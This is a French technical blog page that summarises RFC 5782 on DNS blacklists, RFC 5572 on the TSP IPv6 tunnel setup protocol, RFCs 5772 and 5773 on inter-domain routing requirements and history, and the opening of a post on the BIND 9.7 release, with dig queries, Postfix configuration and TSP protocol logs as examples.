Ce RFC a été développé par le groupe de travail IRTF ASRG. L'auteur du RFC, John Levine, est un des porte-paroles les plus fréquents des « éradicateurs », ceux qui sont prêts à faire beaucoup de dégâts collatéraux pour lutter contre le spam. Le RFC a le statut de « pour information », utilisé pour documenter les techniques qui sont utilisées et donc intéressantes à connaître, mais qui ne sont pas forcément approuvées par l'IETF. Il a failli être sur le chemin des normes, à la demande de l'ASRG, mais en a été retiré suite à une virulente discussion sur la liste principale de l'IETF.

Le document commence (section 1) par un peu d'histoire. En 1997, la première liste noire, RBL (Real-time blackhole list) avait été créée par Paul Vixie et Dave Rand. Elle était distribuée avec BGP, le DNS n'est venu qu'après. (Tout le monde a un client DNS, ce qui n'est pas le cas de BGP.) Elle existe toujours sous le nom de MAPS même si elle n'a plus grand'chose à voir avec l'effort du début.

Le terme de RBL étant désormais une marque déposée, le RFC suggère de parler plutôt de DNSBL (DNS Black List) et, pour celles qui sont utilisées pour autoriser plutôt que pour interdire, de DNSWL (DNS White List). Pour parler des deux simultanément, le RFC utilise DNSxL. (Notons que la différence entre les deux est uniquement dans l'usage que le client en fait, cf. section 2.2.)

Ce RFC décrit le fonctionnement technique des DNSxL et le protocole avec lequel elles communiquent leurs résultats. Il ne parle pas des questions de la maintenance de ces listes, ni de leur politique d'inscription/désinscription, qui font l'objet d'un autre document, le RFC 6471.

La section 2 attaque la technique : une DNSxL est une zone du DNS, où les noms sont formés à partir de la clé d'accès à la liste. Cette clé est presque toujours une adresse IP (la section 3 traite des listes de noms) et le mécanisme d'encodage est inspiré de celui de in-addr.arpa (section 2.1) : on inverse les octets et on ajoute le nom de la liste. Ainsi, pour chercher si 192.0.2.129 est listé dans la DNSxL list.example.com, on fera une requête DNS pour 129.2.0.192.list.example.com. Si 192.0.2.129 est listé, la zone doit contenir un enregistrement de type A (normalement, « adresse », mais utilisé dans un autre sens par les DNSxL) et peut contenir un enregistrement de type TXT qui stockera un message qu'on pourra afficher à l'utilisateur bloqué. Les données dans une DNBxL sont donc des données DNS ordinaires et on peut donc y accéder par des clients DNS comme dig, ici avec la liste sbl-xbl.spamhaus.org :

% dig A 129.2.0.192.sbl-xbl.spamhaus.org 
...
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 2015
...

Ici, on récupère le code NXDOMAIN (No Such Domain) donc cette adresse IP n'est pas sur la liste. Essayons avec une adresse qui est sur la liste :

% dig 158.2.0.192.sbl-xbl.spamhaus.org
...
;; ANSWER SECTION:
158.2.0.192.sbl-xbl.spamhaus.org. 684 IN A     127.0.0.4

La valeur de l'enregistrement DNS est typiquement 127.0.0.2 mais d'autres sont possibles (section 2.3).

En IPv6, pas de grosses différences, mais notons que, ici, le RFC fait œuvre créative car il n'existait pas encore de DNSxL IPv6 (pour IPv4, le RFC documente un état de fait). La section 2.4 précise les détails. Depuis, la liste Virbl a ajouté IPv6.

C'est tout pour le principe. Parmi les détails, la section 5 couvre le cas où une DNSxL arrête de fonctionner correctement et ne contient plus aucun enregistrement (ou au contraire répond systématiquement quelle que soit l'adresse, cas qui s'est déjà produit). La liste doit contenir une entrée pour 127.0.0.2 et ne pas en contenir pour 127.0.0.1. Tester ces deux clés permet de voir si le fonctionnement technique de la liste est correct.

Comment utilise t-on une DNSxl ? La section 6 couvre la configuration des clients. Par exemple, avec le MTA Postfix, la configuration se fait ainsi :

smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination,
            reject_rbl_client sbl-xbl.spamhaus.org, ...

et l'examen du journal permet de voir les rejets de certains émetteurs :

Jan 20 21:28:02 lilith postfix/smtpd[7442]: NOQUEUE: reject: RCPT from unknown[192.0.2.158]: 554 5.7.1 Service unavailable; Client host [192.0.2.158] blocked using sbl-xbl.spamhaus.org; http://www.spamhaus.org/query/bl?ip=192.0.2.158; from=<dioxidep@pnc.com.au> to=<info@generic-nic.net> proto=ESMTP helo=<[192.0.2.158]>

La configuration ci-dessus est de tout ou rien. Si l'adresse IP du client SMTP est dans la DNSBL, il est rejeté. Comme le rappelle le RFC, une autre utilisation est de tester plusieurs listes noires et de faire un calcul de pondération entre elles, ne rejetant le message que si l'émetteur se trouve dans plusieurs listes. C'est ce que fait SpamAssassin, par exemple. Cela protège contre les listes excessivement zélées (ou contre les listes mortes, qui peuvent répondre positivement pour toutes les adresses soumises, entraînant des rejets systématiques).

Et comment savoir si on est dans une liste noire ou pas ? Il existe des outils pratiques et j'en recommande deux : rblcheck qui permet d'interroger plusieurs listes noires d'un coup et check-auth@verifier.port25.com, une adresse de courrier à laquelle on peut écrire, et qui vous renvoie automatiquement un rapport détaillé sur votre message et les machines qui l'ont transmis, y compris leur éventuelle présence dans les listes noires. Mais on peut aussi citer (accès Web uniquement) MultiRBL (qui permet de construire des URL REST comme http://multirbl.valli.org/lookup/198.51.100.1.html), Robtex (même remarque sur les URL) ou MXtoolbox ou encore Blacklist check.

La section 7, enfin, couvre le problème de sécurité général. Comme le résume bien le RFC, utiliser une liste noire externe à votre organisation, c'est sous-traiter la sécurité à un tiers. Celui-ci peut faire un meilleur travail que vous (la plupart des listes noires maintenues localement sont statiques et jamais mises à jour) ou au contraire un bien pire. Il faut donc être bien conscient de ses responsabilités. Contrairement à ce que prétendent les porte-paroles officiels des gros FAI, les listes noires ne sont pas parfaites : elles comprennent des faux négatifs (spammeurs non listés) et des faux positifs (innocents listés). Tenir à jour ces listes est un gros travail et personne ne peut croire à la vérité des affirmations d'un gros FAI, dont un porte-parole à l'IETF prétend lire et traiter tous les rapports de faux positifs envoyés par ses clients.

Idéalement, l'administrateur système qui configure son serveur de messagerie pour utiliser une liste noire devrait passer du temps à s'informer sur la ou les listes envisagées, étudier leur politique et leur pratique, et surtout suivre son évolution dans le temps puisque les listes changent. Mais très peu le font.

Ne nous faisons pas d'illusion : l'Internet n'est pas un monde de gentils Bisounours où tout le monde coopère pour le bien commun, c'est un espace de concurrence et la polémique à l'IETF reflétait simplement la différence entre d'une part les gros FAI, plutôt éradicateurs, qui connaissent et regardent les autres de haut (la remarque « vous ne gérez pas des millions de boîtes aux lettres, donc taisez-vous » était la plus fréquente lors de la discussion) et d'autre part les petits FAI et les utilisateurs, bien forcés de subir.

Un rapport intéressant, dû à Bruno Rasle et Frédéric Aoun, avait bien montré le manque de sérieux de tant de listes noires : « Blacklists anti-Spam : plus de la moitié des entreprises indexées ». Plus récemment, on peut aussi lire un intéressant article sur la mésaventure survenue à Gandi avec SORBS.

Notons pour terminer que les DNSxL posent d'autres problèmes de sécurité que les faux positifs : comme elles sont consultées à chaque message, le gérant de la DNSxL peut avoir une idée de qui sont vos correspondants, et le DNS n'étant pas très sûr, les DNSxL ne le sont pas non plus (aujourd'hui, aucune n'est signée avec DNSSEC).

Merci à Olivier Fauveaux et Serge Aumont pour leurs remarques et corrections.


Téléchargez le RFC 5782


L'article seul

RFC 5572: IPv6 Tunnel Broker with the Tunnel Setup Protocol (TSP)

Date de publication du RFC : Février 2010
Auteur(s) du RFC : M. Blanchet (Viagenie), F. Parent (Beon Solutions)
Expérimental
Première rédaction de cet article le 19 février 2010


Le protocole IPv6 étant très loin d'une connectivité complète dans l'Internet d'aujourd'hui (un très grand nombre d'opérateurs et de fournisseurs d'accès ne sont toujours pas capables de router de l'IPv6, malgré l'épuisement prochain des adresses IPv4), il faut souvent passer par des tunnels pour pouvoir faire de l'IPv6. Ces tunnels peuvent être configurés manuellement mais il peut être plus pratique de disposer d'un protocole qui permet aux serveurs de tunnels d'indiquer aux clients les paramètres de la connexion (comme avec PPP ou DHCP). Cela permet d'avoir des paramètres dynamiques (la section 3 liste les avantages de TSP). C'est un tel protocole que normalise ce RFC. (L'idée de base avait été présentée dans le RFC 3053.)

TSP (Tunnel Setup Protocol) permet donc à un client de demander un tunnel à un serveur et celui-ci, s'il est d'accord, va répondre avec les paramètres du tunnel, comme l'adresse IP.

Comme résumé dans la section 2 de notre RFC, TSP fonctionne au dessus de XML, lui-même au dessus de TCP ou UDP. Les paramètres qu'on peut négocier entre le client et le serveur sont, par exemple :

  • l'authentification (certains serveurs peuvent accepter des accès anonymes mais pas tous),
  • l'encapsulation, TSP permet de faire un tunnel IPv6-dans-IPv4, le cas le plus courant (RFC 4213), mais aussi IPv4-dans-IPv6 et même IPv6-dans-UDP-dans-IPv4 pour pouvoir contourner les NAT (et leur présence peut être détectée automatiquement, cf. section 2.1).
  • les adresses IP utilisées,
  • les serveurs DNS, aussi bien le résolveur à utiliser que les serveurs faisant autorité pour ip6.arpa, pour le préfixe délégué par le tunnel.

En toute rigueur, TSP n'implique pas que le serveur TSP soit également l'extrémité du tunnel. C'est le mode le plus simple (figure 2 dans le RFC) mais le serveur TSP peut être aussi un courtier (broker), négociant des paramètres pour le compte du serveur de tunnels (figure 1 dans le RFC et section 4.1 sur la terminologie). Le protocole de signalisation (pour se connecter au courtier) n'est pas forcément le même que le protocole du tunnel.

Le protocole complet est décrit dans la section 4. Le protocole est fort simple, le client TSP se connecte, s'authentifie, envoie sa demande et obtient une réponse. La demande est codée en XML, la réponse est précédée d'un code à trois chiffres résumant le succès ou l'échec (voir annexe B pour une liste de ces codes numériques ).

Le client choisit de se connecter au dessus d'un des protocoles indiqués dans la section 4.4.1. Comme les autres exemples ultérieurs, l'exemple ici est pris sur le fichier de configuration du client TSP gw6 (qu'on obtient en s'inscrivant à leur service) pour Linux. Si on trouve dans gw6c.conf :

tunnel_mode=v6v4

cela indique que le client va se connecter au serveur en TCP (port 3653) avec le protocole IPv4, pour créer un tunnel IPv6. (La liste de toutes les méthodes figure dans le registre IANA, décrit en section 7).

L'authentification figure en section 4.4.2. Elle utilise SASL. Elle se configure, par exemple, ainsi :

userid=mapetiteentreprise
passwd=monsupermotdepasse

Quant à la demande et à la réponse, elles sont décrites en section 4.4.3. Voici un exemple, vu dans le journal du client gw6 :


2009/07/20 08:43:04 I gw6c: Sent:
2009/07/20 08:43:04 I gw6c: Content-length: 217<tunnel action="create" type="v6anyv4" proxy="no"> 
     <client>  <address type="ipv4">208.75.84.80</address>  <keepalive interval="30">    
             <address type="ipv6">::</address>  </keepalive> </client></tunnel>
2009/07/20 08:43:04 I gw6c: Received:
2009/07/20 08:43:04 I gw6c: 200 Success<tunnel action="info" type="v6v4" lifetime="604800">  
       <server>    <address type="ipv4">64.86.88.116</address>    
                   <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0218</address>  </server>
       <client>    <address type="ipv4">208.75.84.80</address>    
                   <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0219</address>    
                   <address type="dn">bortzmeyer.broker.freenet6.net</address>    
                 <keepalive interval="30">      
                 <address type="ipv6">2001:05c0:1000:000b:0000:0000:0000:0218</address>    
                 </keepalive>  </client>
      </tunnel>

Une fois que la demande est acceptée, le tunnel est typiquement configuré automatiquement par le logiciel client (section 4.5), qui se charge d'exécuter les ifconfig appropriés. On voit alors son tunnel, ici en 2001:5c0:1000:b::219 :

sit1      Link encap:IPv6-in-IPv4  
          inet6 addr: fe80::d04b:5450/64 Scope:Link
          inet6 addr: 2001:5c0:1000:b::219/128 Scope:Global
          UP POINTOPOINT RUNNING NOARP  MTU:1280  Metric:1
          RX packets:5069 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5015 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4526230 (4.3 MiB)  TX bytes:487854 (476.4 KiB)

Les éléments XML échangés sont décrits dans la section 4.7 (et la DTD complète en annexe A). Par exemple, l'élément <server> (section 4.7.3) contient deux éléments, <address> et <router>, qui indiquent les caractéristiques IP de l'extrémité du tunnel.

Plusieurs exemples de requêtes TSP figurent dans la section 5. Avec tspc, on peut aussi les obtenir en utilisant l'option -vvv :


# /usr/sbin/tspc -vvvvv
Connecting to server with tcp
Using TSP protocol version 2.0.0
Establishing connection with tunnel broker...
Getting capabilities from server
Connection established
Authenticating bortzmeyer
Using authentification mecanism DIGEST-MD5
Authentication success
Asking for a tunnel
sent: Content-length: 252
<tunnel action="create" type="v6v4" proxy="no">
 <client>
  <address type="ipv4">192.134.7.249</address>
<keepalive interval="30"><address type="ipv6">::</address></keepalive <router>
   <prefix length="48"/>
  </router>
 </client>
</tunnel>
...

Et, sur le câble, voici à quoi ressemblent les paquets : http://www.pcapr.net/view/fropert/2010/4/4/4/tsp-freenet6.pcap.html.

Aujourd'hui, il existe deux implémentations libre du client, gw6c, déjà cité et tspc. Des exemples plus concrets de configuration peuvent être trouvés dans mon article sur les serveurs de tunnel.


Téléchargez le RFC 5572


L'article seul

RFC 5772: A set of possible requirments for a future routing architecture

Date de publication du RFC : Février 2010
Auteur(s) du RFC : A. Doria (LTU), E. Davies (Folly consulting), F. Kastenholz
Intérêt historique uniquement
Première rédaction de cet article le 19 février 2010


Ce RFC qui expose un cahier des charges pour le routage global de l'Internet est essentiellement un document historique. Écrit il y a pas mal d'années, il est publié aujourd'hui (avec quelques mises à jour et annotations) dans le cadre des efforts de définition d'une future architecture de routage. Il accompagne le RFC 5773 qui décrivait l'existant et se focalise sur les deux cahiers des charges qui avaient été redigés par deux groupes de travail en 2001. (Attention, donc, en le lisant, une bonne partie a été écrite au tout début du siècle.)

La section 1 résume la genèse compliquée de ce document. Il est issu d'un travail d'un groupe de l'IRTF qui devait travailler sur le routage « en partant d'une page blanche », c'est-à-dire sans être gêné par la nécessité de rester proche des mécanismes actuels. Un autre groupe, nommé Babylon, travaillait au même moment sur le même sujet, mais avec une perspective différente puisque Babylon se limitait aux solution incrémentales, ne nécessitant pas de tout jeter. Les contributions des deux groupes ont été réunis dans ce RFC 5772 (le « groupe A » est celui de l'IRTF et le « groupe B » est Babylon). Les deux groupes n'ont pas été fusionnés car ils partaient de principes trop différents pour qu'une fusion puisse marcher. La liste des membres des deux groupes figure dans la section 6.

Leurs contributions ont été un peu éditées pour la publication dans ce RFC mais, à part cela, elles reflètent en gros le point de vue du début des années 2000. Dans les deux cas (groupe A et groupe B), il s'agit d'une liste au Père Noël, de tout ce qu'il serait bien d'avoir dans le routage et la section 1 note qu'il n'est pas forcément possible de rééaliser toutes ces exigences (surtout simultanément).

La section 2 est rédigée par le groupe A, celui qui partait d'une feuille blanche. On y trouve tous les bons principes de conception, par exemple qu'une architecture doit être définie et bien documentée, avant de se plonger dans les détails des protocoles (section 2.1.1). Idéalement, les changements des composants de cette architecture devraient pouvoir se faire séparement pour chaque composant. Et, encore plus vœu pieux, l'adressage devrait être séparé de la topologie du réseau (actuellement, sans être complètement liés, les deux sont fortement connectés ; cela explique les bonnes performances de l'Internet, malgré sa taille, mais c'est aussi dans cette forte connexion que se trouvent souvent les conflits, par exemple autour des adresses PI, ces adresses qui ne suivent pas la topologie).

L'architecture vue par le groupe A doit passer à l'échelle, c'est-à-dire accepter des réseaux bien plus grands qu'aujourdhui (« idéalement, pour les vingt prochaines années »), par exemple pour plusieurs dizaines de milliers d'AS, chiffre qu'une note d'un éditeur en 2005 prévient qu'il a déjà été atteint. Une autre prévision est déjà dépassée dans la même section 2.1.3. Le texte de 2001 prenait le risque de pronostiquer que, en raison de certaines limites physiques, les 40 Gb/s d'OC768 seraient difficiles à dépasser alors qu'ils le sont déjà.

La section 2.1.6 demande que l'architecture nouvelle gère proprement le multi-homing. La 2.1.9, encore plus ambitieuse, demande que le nouveau système de routage soit sûr. Par exemple, une des exigences est la possibilité de dissimuler aux regards extérieurs la topologie de son réseau ce qui, pris au pied de la lettre, veut dire qu'il faut pouvoir empêcher traceroute de fonctionner.

Bien que le point de départ originel du projet du groupe A était de partir de zéro, une section, la 2.1.12 est quand même consacrée au déploiement incrémental de la nouvelle architecture, le considérant comme impératif. C'est compréhensible (l'expérience de beaucoup d'autres objets techniques complexes montre la vanité qu'il y a à vouloir faire table rase de l'investissement financier, technique et social) mais cela rend l'ensemble du cahier des charges encore plus... Comment dire ? Ambitieux ? Irréaliste ?

Le caier des charges du groupe A ne s'arrête pas là. Il demande encore une complète portabilité des adresses IP (section 2.1.14), que l'architecture soit simple à comprendre (« en moins d'une heure », dit la section 2.1.17 mais il est vrai que sa simplicité conceptuelle fut une des raisons de la victoire d'IP contre OSI). l'indépendance du système de routage par rapport aux autres composants de l'architecture (comme le DNS cf. section 2.1.20), et bien d'autres choses.

La liste est donc impressionnante. Et pourtant, tout n'a pas été inclus. La section 2.2 liste les non-buts, ce que le groupe A n'a pas considéré comme faisant partie des objectifs. On y trouve l'ingéniérie de trafic (section 2.2.2), terme très flou et trop vaste pour avoir été inclus dans les objectifs. la « sécurité absolue » (section 2.2.6), qui pourrait, en cas de problème, empêcher les opérateurs de faire leur travail, le routage dynamique en fonction de la charge du réseau (section 2.2.7), une vieille idée de l'Arpanet qui s'est toujours avérée très « casse-gueule », et, naturellement, la compatibilité avec l'existant (section 2.2.10) puisque l'idée de départ était une approche « table rase ».

La section 3 donne ensuite la parole au groupe (alias Babylon). Après un résumé du contexte, les exigences commencent en 3.2.3 qui note que tout cahier des charges laisse en général en blanc la question de l'évaluation des résultats : comment savoir qu'on a réussi ?

Parmi les demandes, l'exigence que le routage fournisse suffisamment d'informations pour pouvoir être utilisé par plusieurs services, autres que la délivrance de datagrammes au meilleur effort (section 3.2.3.2), le passage à l'échelle (section 3.2.3.3, où le RFC note que, dans ce secteur, l'échec est bien plus facile à détecter que le succès), etc. La sécurité fait l'objet de la demande 3.2.3.8,qui réclame une protection contre les DoS en notant que, dans l'Internet actuel, le fait de connaître une route sert également d'autorisation à y envoyer un paquet et qu'il faudrait changer cela (les notes récentes du RFC critiquent le groupe B en se demandant si ce ne serait pas une violation de la transparence du réseau).

Le groupe B souhaite également que les erreurs de configuration des routeurs (comme celle d'un routeur Microtik tchèque) ne puissent plus avoir des conséquences poiur l'Internet entier (section 3.2.3.10).

L'Internet n'est pas un objet purement technique. Il nécessite beaucoup de moyens humains et financiers, qui n'arrivent pas tout seuls. La section 3.4 se lance dans l'étude des contraintes extérieures, qui limitent les solutions possibles. Un des exemples le plus simple est celui de la très forte dépendance du soi-disant « cyberespace » vis-à-vis du monde physique (section 3.4.3). Combien d'entreprises ont acheté leur connectivité Internet à deux fournisseurs « pour la redondance » avant de découvrir que leurs câbles passaient dans la même tranchée et pouvaient tous être tranchés par la même pelleteuse ? (Comme ce fut le cas lors de la coupure égyptienne.)

Les exigences détaillées apparaissent ensuite en section 3.6. Groupées en sections, chacune reçoit un numéro, chaque section faisant l'objection d'une discussion groupée. Ainsi, l'exigence R(13) (Requirment 13), « Le routage doit pouvoir gérer différents chemins selon le service demandé » (nécessaire pour la QoS) fait partie de la section 3.6.2.2 sur les annonces de routes.

Il y a en tout 64 de ces exigences. Quelques exemples :

  • R(26) ne tranche pas entre les différentes familles d'adresses et demande que le futur système de routage sache gérer IPv4 et IPv6 et également des familles non-IP.
  • R(55) demande qu'il ne soit pas nécessaire de prévoir un flag day pour le déploiement du futur système de routage.
  • R(62) voudrait que le futur système de routage permette d'authentifier les annonces de route (un problème brûlant aujourd'hui).

La section 3.10 couvre ensuite les questions « contestables », celles où le consensus du groupe B est moins fort. Cela va de questions très vagues (3.10.1 regrette qu'on modélise toujours les réseaux sous forme de graphes et demande qu'on accepte d'autres modèles - sans donner aucune idée de ce qu'ils pourraient être) à des considérations sur des problèmes transversaux comme le général byzantin (section 3.10.10).


Téléchargez le RFC 5772


L'article seul

RFC 5773: Analysis of Inter-Domain Routing Requirements and History

Date de publication du RFC : Février 2010
Auteur(s) du RFC : E. Davies (Policy consulting), A. Doria (LTU)
Intérêt historique uniquement
Première rédaction de cet article le 19 février 2010


Ce RFC est essentiellement un document historique. Écrit il y a pas mal d'années, il est publié aujourd'hui (avec quelques mises à jour et annotations) dans le cadre des efforts de définition d'une future architecture de routage inter-domaine dans l'Internet.

Sur Internet, il existe en effet deux sortes de routage, l'intra-domaine qui concerne les opérations se déroulant à l'intérieur d'un unique système autonome, donc sous une direction commune, et l'inter-domaine, qui traite du routage entre systèmes autonomes (les « domaines »), lorsqu'il faut franchir des frontières administratives, ce qui est bien plus complexe que de simplement pousser des paquets. Aujourd'hui, l'essentiel du routage inter-domaine est fait avec le protocole BGP (RFC 4271, et BGP avait été originellement conçu, en 1989, en réponse aux exigences du RFC 1126) et l'architecture sur laquelle il repose montre des sérieuses limites, notamment en matière de passage à l'échelle : pourrons-nous faire ecnore croître l'Internet, et à un coût raisonnable ? (La section 2 du RFC résume l'état actuel du routage inter-domaine et de ses limites. Elle est complétée sur ce dernier point par la section 5. Le routage intra-domaine est, lui, considéré comme globalement satisfaisant.)

Il existe en ce moment beaucoup d'activité à l'IETF et à l'IRTF autour de ce thème d'une future architecture de routage. Elle porte, par exemple, sur des idées comme la séparation de l'identificateur et du localisateur. Le groupe de l'IRTF concerné est le Routing Research Group et ce groupe travaille à la définition d'un cahier des charges pour la future architecture. Parmi les travaux étudiés à cette occasion, figurent les discussions qui ont eu lieu il y a plusieurs années, à partir du RFC 1126, et qui sont désormais synthétisées dans ce RFC. (Attention, donc, en le lisant, une bonne partie a été écrite au tout début du siècle.)

La section 1 résume la longue genèse de ce document, qui prend sa source dans les travaux d'un groupe informel nommé Babylon en 2001. Le texte original a été préservé, des ajouts indiquent ce qui a pu changer dans l'Internet depuis.

La section 3 du RFC détaille chacune des exigences du RFC 1126, dans l'ordre du RFC original, en expliquant dans quelles mesures elles sont satisfaites aujourd'hui, avec un Internet radicalement différent de ce qu'il était en 1989, où sa taille était minuscule, selon les critères d'aujourd'hui, et où sa connectivité était encore très hiérarchique, avec NSFnet au sommet.

Ainsi, l'exigence indiquée en section 3.1 e) du RFC 1126, Provide paths sensitive to user policies est décrite dans notre RFC 5773 en section 3.1.2.1.5 comme toujours valide (selon le texte écrit en 2001 par Babylon) mais très imparfaitement faite (loose source routing, QoS) et les notes de 2006 à nos jours ajoutent qu'il faut plutôt parler d'échec complet que de déploiement insuffisant.

Mais il y a aussi des succès, le principal étant évidemment que l'Internet marche. Des points qui semblaient primordiaux en 1989 et même encore en 2001 ont sombré dans une relative indifférence (comme la QoS, justement).

Les plus gros problèmes sont peut-être quantitatifs. Le RFC 1126, section 3.4 c) demandait innocemment que le futur (à l'époque) protocole permette 10 000 systèmes autonomes et 100 000 réseaux. Ces nombres ont été largement dépassés mais il n'est pas garanti, loin de là, que cette croissance pourra durer éternellement. En 2001, Babylon s'inquiétait pour l'épuisement de l'espace de numérotation des systèmes autonomes (16 bits à l'époque) et cette inquiétude se retrouve dans notre RFC en section 3.1.2.4.3. Le RFC a finalement une note disant que le déploiement du RFC 6793 est en train de résoudre ce problème mais que ce déploiement prend plus de temps que prévu.

Dans tout exercice d'ingéniérie, le plus dur n'est pas en général de définir les buts (« Que ça marche bien ! Que ça ne soit pas cher ! Que n'importe qui puisse s'en servir ! Que cela fasse le café ! ») mais les « non-buts », ce qu'on renonce à obtenir car cela nous entrainerait trop loin et condamnerait le projet. Il est rare que les non-buts soient explicites, car cela focaliserait la critique. Mais le RFC 1126 avait une telle section, la numéro 4, analysée en section 3.1.3 de notre RFC 5773. Par exemple, le RFC 1126 expliquait que la connectivité de tous n'était pas un but. En effet, elle nécessite la coopération de systèmes autonomes intermédiaires, coopération qui ne peut pas être obtenue par des moyens techniques. Ce simple non-but déclenche une grande discussion dans le RFC 5773 en section 3.1.3.1. N'est-il pas contraire à la mission de connectivité totale de l'Internet ? Le RFC 1126 n'était-il pas excessivement prudent car il avait été écrit dans un monde où IP n'était pas encore le protocole universel qu'il était devenu en 2001 ? (Et qu'il n'est plus depuis que IPv4 et IPv6 coexistent.) Faut-il chercher la connectivité universelle (qu'on n'a pas, même avec IPv4 seul, notamment à cause du NAT) ou le « routage universel » ?

De même, la répartition de charges était considérée par le RFC 1126 comme un nom but, même si la section 3.1.3.3 du RFC 5773 fait observer que le désir de faire passer le trafic d'un domaine par plusieurs fournisseurs est une des causes de la désagrégation des préfixes annoncés, et donc de la croissance de la table de routage.

La section 3 remet les choses dans le contexte de l'époque. En 1989, lorsque le RFC 1126 a été écrit, la famille de protocoles OSI était encore considérée sérieusement par certains (elle sera abandonnée au début des années 1990, sans jamais avoir connu de déploiement significatif). Le développement de BGP s'est donc fait dans un contexte marqué par la présence d'un concurrent, IDRP (alias ISO 10747, section 3.2 de notre RFC). La section revient donc sur l'histoire tourmentée (et parfois contestée) de cette époque, marquée par l'émergence du concept de système autonome et par celle de l'idée de routage non-hiérarchique. Parmi les documents importants cités par le RFC, il y a, par exemple, Internet Architecture Workshop: Future of the Internet System Architecture and TCP/IP Protocols ou bien le chapitre 14 du livre Open Systems Networking. Le RFC considère que, si IDRP n'a jamais été réellement déployé, du moins certaines des idées qu'il contenait ont inspiré les développements dans le monde Internet. (Beaucoup d'autres ont été abandonnées : pensez au chapitre sur les non-buts. Comme tous les protocoles OSI, IDRP ne pouvait pas résister à la conception en comité, où toute fonction demandée était forcément incluse, de peur de fâcher quelqu'un.) D'autres idées d'IDRP, comme l'utilisation de certificats X.509 pour signer les annonces, n'ont pas encore percé, bien qu'elles soient régulièrement évoquées pour BGP.

BGP a donc suivi son bonhomme de chemin, première version dans le RFC 1105 en juin 1989, deuxième dans le RFC 1163, en juin 1990, troisième dans le RFC 1267 publié en octobre 1991 et enfin quatrième dans le RFC 1771 en mars 1995 (BGP-4 est désormais normalisé dans le RFC 4271). IDRP est, lui, bien oublié, il n'a même pas d'article dans Wikipédia .

Parmi les autres efforts pour développer un mécanisme de routage inter-domaine, une place particulière doit être faite à Nimrod (RFC 1753 et RFC 1992, section 3.3 de notre RFC). Le projet Nimrod, de 1994 à 1996, visait à créer une architecture de routage complètement nouvelle. S'il n'a pas débouché, les idées explorées à ce moment ont néanmoins beaucoup influencé les recherches ultérieures. Par exemple, Nimrod, contrairement à pas mal de projets « table rase » qui croient naïvement qu'on les laissera tout détruire et repartir de zéro, mettait explicitement au premier plan la nécessité d'être déployable progressivement, c'est-à-dire de ne pas rester bloqué dans le dilemme de l'œuf et de la poule, où personne n'adopte le nouveau système car il n'y a aucun intérêt à le faire, tant qu'on reste tout seul. Cette exigence de déploiement progressif reste essentielle aujourd'hui : l'Internet n'est plus un jouet de chercheurs, on ne peut plus l'arrêter pour voir, ni imposer un changement d'un seul coup, comme l'avait été l'abandon de NCP.

À noter que l'architecture de Nimrod faisait partie des projets concurrents pour le système « IPng », qui devait prendre la suite d'IPv4. Trop ambitieux, Nimrod avait été rejeté au profit du futur IPv6 qui se limitait au format des paquets IP et ne tentait pas de réformer l'architecture de routage inter-domaine (qui reste donc la même qu'avec IPv4).

Si Nimrod est relativement connu des gens de l'IETF, PNNI, résumé en section 3.4, l'est beaucoup moins. Il venait des travaux de l'ATM forum et n'avait guère eu de succès, peut-être parce que trop lié à une architecture vite dépassée, ATM.

Le travail des chercheurs sur le routage interdomaine ne s'est jamais arrêté. La section 4 est donc consacrée aux travaux récents en ce domaine. Ces recherches sur un objet très mouvant, le gigantesque Internet d'aujourd'hui, doivent s'adapter sans cesse. Ainsi, rappelle notre RFC, la connexion d'un site à plusieurs FAI devient de plus en plus fréquente et il est urgent de trouver un mécanisme qui permette de la faire dans de bonnes conditions.

Parmi les travaux de recherche des dernières années, le RFC cite NewArch (section 4.2). Datant de 2000-2001, financé par une agence gouvernementale états-unienne, NewArch avait, dans son cahier des charges, des préoccupations inquiétantes comme la protection des rapaces détenteurs de « propriété intellectuelle » ou comme la nécessité de développer des systèmes de surveillance plus perfectionnés.

Sans doute trop récents, puisque l'essentiel du RFC 5773 avait été fait avant 2006, les projets comme Clean Slate et GENI qui, pour l'instant, ont surtout produit du vent, ne sont pas mentionnés.

Quel est l'état de la réflexion sur les limites et défauts du modèle actuel de routage inter-domaine ? La section 5 répond à cette question, dans la suite du RFC 3221. Parmi les nombreux problèmes identifiés dans cette section, la propagation mondiale des erreurs locales (section 5.3), magnifiquement illustrée par l'attaque involontaire contre YouTube (depuis, une solution a été normalisée, mais pas encore massivement déployée), l'absence de solution satisfaisante à la forte demande des utilisateurs pour les connexions à plusieurs FAI (section 5.4 et RFC 4116), la question de la sécurité, puisque n'importe quel routeur BGP peut annoncer n'importe quelle route (section 5.11, RFC 4593 pour le cahier des charges des efforts actuels visant à normaliser une solution et, pour un exemple récent d'alerte de sécurité, la faille Kapela & Pilosov).

Comme toutes les listes de problèmes, celle-ci peut donner l'impression que BGP est fichu et on peut se demander, en la lisant, pourquoi l'Internet marche encore. C'est parce que les faiblesses de BGP, notamment la propagation mondiale de n'importe quelle annonce, même fausse, même mensongère, sont aussi ses forces. Elles permettent à tous de détecter le problème et de réagir rapidement. C'est bien à tort que le RFC prétend, dans sa section 5.14, qu'il n'existe pas d'outils de détection en temps réel des changements BGP, il y en a au contraire une pléthore !


Téléchargez le RFC 5773


L'article seul

Sortie de la version 9.7 de BIND : DNSSEC enfin pour les humains ?

Première rédaction de cet article le 18 février 2010


Le 16 février, l'ISC a annoncé la disponibilité de la version 9.7 de BIND dont le slogan commercial est « DNSSEC for humans ». On retrouve ce slogan sur le joli T-shirt offert à ceux qui ont participé au développement, et qui montre l'homme de Vitruve sur fond de clés cryptographiques. (On peut voir ce T-shirt sur la vidéo de mon exposé DNSSEC à JRES 2009.)

DNSSEC a été traditionnellement un cauchemar de configuration et, disons le tout de suite, la version 9.7 ne résoudra pas complètement le problème. Mais elle apporte des améliorations sensibles et on peut donc penser qu'il n'y aura pas de déploiement significatif de DNSSEC avant que la version 9.7 n'aie atteint un grand nombre de sites. Quelles sont les nouveautés de cette version ?

  • Gestion du RFC 5011 qui permet à un résolveur de suivre automatiquement les clés successives d'un domaine, sans reconfiguration.
